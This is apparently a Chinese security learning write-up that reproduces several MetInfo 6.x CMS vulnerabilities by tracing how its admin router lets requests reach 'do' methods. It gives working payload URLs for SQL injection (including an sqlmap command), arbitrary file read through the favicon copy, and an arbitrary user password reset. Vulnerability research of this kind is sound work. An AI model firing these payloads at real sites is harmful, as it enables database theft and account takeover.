在复现中学到的路由利用

0x01前言

0x01.1菜的明明白白

这两天一直在复现metinfo这个cms,然后看了师傅Ashe的一个帖子,感觉自己又在此学到了一点东西,就对这个cms的路由有了更多理解。的在此记录一下。

0x01.2准备

metinfo6.0.0
php5.5+mysql
ubuntu 19

0x02漏洞分析

Metinfo6.0.0后台sql注入

就如之前的分析一样,每一个模块,比如message处,或者feedback处都有一个index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
//message
define('M_NAME', 'message');
define('M_MODULE', 'web');
define('M_CLASS', 'message');
define('M_ACTION', 'domessage');
require_once '../app/system/entrance.php';

//feedback
define('M_NAME', 'feedback');
define('M_MODULE', 'web');
define('M_CLASS', 'feedback');
define('M_ACTION', 'dofeedback');
require_once '../app/system/entrance.php';

每一个index.php里面都包含了entrance.php,然后有定义需要调用的模块,类,方法。这是被写死了。这个cms的特色就在于此。定义了这些的常量,调用方法就会如下所言

1
path:/app/system/M_NAME/M_MODULE/M_CLASS.class.php     函数 M_ACTION

但是却不能直接调用。
大佬的话说就是: 这里奇葩的是他基本都是自己封装好了这些常量,不能随意去调用类函数,如果想随意调用的话需要找入口,而且只能调用函数开头带do字符的函数。

但是我们看向/admin/index.php

1
2
3
4
5
6
7
8
9
10
11
12
define('IN_ADMIN', true);
//接口
$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';

理解这个index.php,这里就相当于一个路口,我们可以通过这个文件作为任意调用的入口

0x02.2demo一下,

0x02.2.1 在线反馈处后台sql注入

定位:MetInfo6.0.0/app/system/feedback/admin/feedback_admin.class.php::doexport()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
global $_M;
$class1 = $_M[form][class1];
$met_fd_export = $_M[form][met_fd_export];
... ... ...
... ... ...
foreach ($settings_arr as $key => $val) {
if ($val['columnid'] == $class1) {
$tingname = $val['name'] . '_' . $val['columnid'];
$$val['name'] = $$tingname;
}
}
... ... ...
... ... ...
if ($class1) {
$where .= "AND class1='$class1'";
}
if ($met_fd_export == -1) {
$where = " ";
}else{
... ...
}
...
if ($_M['form']['check_id'] != "") {
$where .= " AND id in ({$_M['form']['check_id']})";
}
$query = "SELECT * FROM {$_M[table][feedback]} where lang='{$this->lang}' " . $where;
$result = DB::query($query);
... ...

漏洞成因:

1
$where .= " AND id in ({$_M['form']['check_id']})";

其中的$_M['form']['check_id']的是用户可以输入的值,关于用户输入,所有的类继承于common.inc.php的common的这个一级基类
其中函数__construct()

1
2
3
4
5
6
7
8
9
10
11
public function __construct() {
global $_M;//全局数组$_M
ob_start();//开启缓存
$this->load_mysql();//数据库连接
$this->load_form();//表单过滤
$this->load_lang();//加载语言配置
$this->load_config_global();//加载全站配置数据
$this->load_url_site();
$this->load_config_lang();//加载当前语言配置数据
$this->load_url();//加载url数据
}

跟进函数load_form()

1
2
3
4
5
6
7
8
9
10
11
12
      global $_M;
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}

跟进daddslashes()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
if(!defined('IN_ADMIN')){
$string = trim(addslashes(sqlinsert($string)));
}else{
$string = trim(addslashes($string));
}
}
}
return $string;
}

这个函数如果仅仅只是对用户输入的值进行addslashes()处理,关于我们是如何绕过

1
2
3
4
5
if(!defined('IN_ADMIN')){
$string = trim(addslashes(sqlinsert($string)));
}else{
$string = trim(addslashes($string));
}

因为我们在admin/index.php入手,所以在在这个文件中是有设置IN_ADMIN的值为ture

1
define('IN_ADMIN', true);

所以最终$_M['form']['check_id'],就没有很好的处理过滤。
这里放出POC


这个爆库payload如下:

1
"http://xxxx/admin/index.php/?lang=cn&anyid=&n=feedback&c=feedback_admin&a=doexport&class1=&met_fd_export=-1&check_id=1"--cookie "抓包获取的cookie内容" -p check_id --dbms=mysql –dbs

——-分割线———

admin类是可以调用任意类的do函数(),现在分析一下,因为Ashe师傅的payload刚开始没怎么看懂,然后就自己琢磨了一下,整个调用的过程。这里是可以用debug来调试,但是因为最近刚学会这个,还不大会用,所以决定自己手动看看index.php是如何调用doexport()方法的。我菜的明明白白…….

1
2
3
4
5
6
7
8
9
10
$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';

我们可以看到这里的$_NAME,$_CLASS,$_ACTION,可以由用户输入决定。
然后我们分析../app/system/entrance.php(可以将payload代入理解,我是通读的这个文件的所有代码,然后这里里面一段比较重要的代码)

1
2
3
4
5
6
7
8
9
if(M_TYPE == 'system'){
if(M_MODULE == 'include'){
define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/module/');
}else{
define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'. M_NAME.'/'.M_MODULE.'/');
}
}else{
define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'.M_MODULE.'/');//app/system/feedback/admin/
define ('PATH_APP_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/');//app/system/feedback/

接着包含load.class.php,调用module()函数

1
2
require_once PATH_SYS_CLASS.'load.class.php';
load::module()

加载module()函数

1
2
3
4
5
6
7
8
9
public static function module($path = '', $modulename = '', $action = '') {
if (!$path) {
if (!$path) $path = PATH_OWN_FILE;//app/system/feedback/admin/
if (!$modulename) $modulename = M_CLASS;//feedback_admin
if (!$action) $action = M_ACTION;//doexport
if (!$action) $action = 'doindex';
}
return self::_load_class($path, $modulename, $action);
}

调用本类函数的_load_class()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private static function _load_class($path, $classname, $action = '') {
$classname=str_replace('.class.php', '', $classname);
$is_myclass = 0;
if(!self::$mclass[$classname]){//$myclass[$classname]此时为空
if(file_exists($path.$classname.'.class.php')){//判断是否存在/app/sysytem/feedback/admin/feedback_admin.class.php
require_once $path.$classname.'.class.php';//包含/app/sysytem/feedback/admin/feedback_admin.class.php
} else {
echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
exit;
}
$myclass = "my_{$classname}";
if (file_exists($path.'myclass/'.$myclass.'.class.php')) {
$is_myclass = 1;
require_once $path.'myclass/'.$myclass.'.class.php';
}
}
if ($action) {//action=doexport
if (!class_exists($classname))
{
die($classname . ' ' . $action . ' class\'s file is not exists!!!');
}
if(self::$mclass[$classname]){
$newclass = self::$mclass[$classname];
}else{
if($is_myclass){//is_myclass=0
$newclass = new $myclass;
}else{
$newclass = new $classname;
}
self::$mclass[$classname] = $newclass;
}
if ($action!='new') {
if(substr($action, 0, 2) != 'do'){
die($action.' function no permission load!!!');
}
if(method_exists($newclass, $action)){
call_user_func(array($newclass, $action));
}else{
die($action.' function is not exists!!!');
}
}
return $newclass;
}
return true;
}

后半段代码判断$action是否可执行,_load_class()方法可以引用并实例化一个类,当$action为空的时候,只引用文件。
如果$action为new,则实例化该类,否则如果$action以do开头,则实例化该类,并且调用该函数
要想包含app/system/feedback/admin/feedback_admin.class.php文件,需要满足

1
2
3
4
M_NAME = $_GET['n'] = feedback;
M_MODULE = $_GET['m'] = admin;
M_CLASS = $_GET['c'] = feedback_admin;
M_ACTION= $_GET['a'] = doexport//需要调用某do方法

至此,就调用了app/system/feedback/admin/feedback_admin.class.php::doexport()函数
也就是我们上文提到的:每一个index.php里面都包含了entrance.php,然后有定义需要调用的模块,类,方法。这是被写死了。这个cms的特色就在于此。定义了这些的常量,调用方法就会如下所言

1
path:/app/system/M_NAME/M_MODULE/M_CLASS.class.php     函数 M_ACTION

0x02.2.2 MetInfo6.0.0后台任意文件读取下载

寻找一下漏洞的位置,根据提示是在webset模块,所以到webset.class.php
发现在函数doseteditor()发现了漏洞的位置

1
2
3
4
5
6
7
8
9
function doseteditor(){
global $_M;

if($_M['form']['met_ico'] != '../favicon.ico'){
copy($_M['form']['met_ico'], '../favicon.ico');
}
... ...
... ...
}

我们会发现如果用户输入met_ico的值,就可以指定替换../favicon.ico的内容,试着构造payload

1
?lang=cn&n=webset&c=webset&a=doseteditor&met_ico=../index.php

0x02.2.3 6.1.2版本中的一个sql注入

在线留言处的注入方式是其中一个入口,这次我们选择另外一个入口进行注入,然后关于那个注入点的原理,就不细谈了,之前的文章分析过。
我们这里想要聊一聊的是这个是通过admin/index.php这个入口路由至这个方法。
这次的漏洞在/app/system/message/web/message.class.php
所以调用要满足:

1
2
3
4
5
M_NAME = $_GET['n'] = message;

M_MODULE = $_GET['m'] = web;

M_CLASS = $_GET['c'] = message;

要想调用add(),必须实例化类并执行方法,但这里限定只能实例化并执行do开头的方法。这里找到了message.class.php中的domessage(),它调用了add()方法。

然后这里最终的payload为:

1
admin/index.php?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1@qq.com&para138=1&para139=1&para140=1&id=42 and 1=1

0x02.2.4 Metinfo6.0.0任意用户密码修改

在忘记密码处由于username可控导致任意用户密码修改

漏洞文件:\MetInfo6.0.0\app\system\user\web\getpassword.class.php
漏洞函数:dotelvalid()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function dotelvalid() {
global $_M;
$session = load::sys_class('session', 'new');
if($_M['form']['code']!=$session->get("phonecode")){
okinfo($_M['url']['getpassword'], $_M['word']['membercode']);
}
if(time()>$session->get("phonetime")){
okinfo($_M['url']['getpassword'], $_M['word']['codetimeout']);
}
$session->del('phonecode');
$session->del('phonetime');
$user = $this->userclass->get_user_by_tel($_M['form']['username']);
if($user){
if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
}else{
okinfo($_M['url']['login'], $_M['word']['opfail']);
}
}else{
okinfo($_M['url']['login'], $_M['word']['NoidJS']);
}
}

这里的phonecode是发给某手机的手机验证码,我们填入的验证码与此时页面发出的验证码的正确性以及验证码的时效性

1
2
3
4
5
6
if($_M['form']['code']!=$session->get("phonecode")){
okinfo($_M['url']['getpassword'], $_M['word']['membercode']);
}
if(time()>$session->get("phonetime")){
okinfo($_M['url']['getpassword'], $_M['word']['codetimeout']);
}

接着过了验证,修改某用户名的密码,这里未将用户名与验证码关联,导致我们可以给自己手机发验证码,然后填写其他人的用户名,强行修改密码
payload如下:

1
http://../metinfo6.0.0/amdin/index.php?lang=cn&n=user&m=web&c=password&a=dotelvalid&username=目标手机号&password=密码&code=接到的验证码

0x03 写在最后

太菜了,对于cms的路由结构,以及整体的功能模块之间的联系,不够熟悉,代码编写能力有待提高,对于常见工具,比如phpstorm,sqlmap….的使用还不够熟练,太菜了

0%